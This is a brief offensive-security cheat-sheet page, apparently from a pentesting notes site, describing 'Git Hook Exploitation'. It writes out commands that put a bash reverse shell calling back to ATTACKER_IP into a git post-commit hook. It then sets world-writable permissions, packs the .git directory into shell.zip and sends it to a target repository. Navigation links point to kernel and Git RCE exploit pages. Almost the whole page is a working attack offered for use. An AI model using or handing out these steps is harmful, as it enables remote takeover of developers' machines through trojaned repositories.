Git Hook Exploitation
Steps
1) If there is no a .git/hooks directory, create one and go there
cd ~
mkdir -p .git/hooks && cd .git/hooks2) Write a reverse shell
echo '#!/bin/bash' > post-commit
echo '/usr/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' >> post-commit3) Assign full permissions on the file
chmod 777 post-commit4) Compress the .git/ contents
7z a shell.zip .git/5) Assign full permissions on the .zip file
chmod 777 shell.zip6) Send shell.zip to the target repo for exploitation
PreviousGameoverlayFS kernel exploit (CVE-2023-2640 and CVE-2023-32629)NextGit Python RCE CVE-2022-24439.md
Last updated